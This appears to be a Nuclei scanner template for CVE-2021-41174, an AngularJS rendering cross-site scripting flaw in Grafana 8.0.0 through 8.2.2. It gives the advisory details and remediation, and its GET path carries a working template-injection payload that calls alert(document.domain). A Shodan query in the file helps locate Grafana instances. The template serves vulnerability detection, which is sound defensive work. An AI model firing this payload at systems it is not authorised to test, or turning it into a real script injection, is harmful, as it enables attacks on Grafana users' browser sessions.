id: CVE-2021-41174

info:
  name: Grafana 8.0.0 <= v.8.2.2 Angularjs Rendering Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41174
    - https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
    - https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
  remediation: Upgrade to 8.2.3 or higher.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41174
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
  tags: cve,cve2021,grafana,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"

    skip-variables-check: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "Grafana"
          - "frontend_boot_js_done_time_seconds"
        condition: and

      - type: regex
        regex:
          - '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'

    extractors:
      - type: regex
        group: 1
        regex:
          - '"subTitle":"Grafana ([a-z0-9.]+)'

# Enhanced by mp on 2022/03/06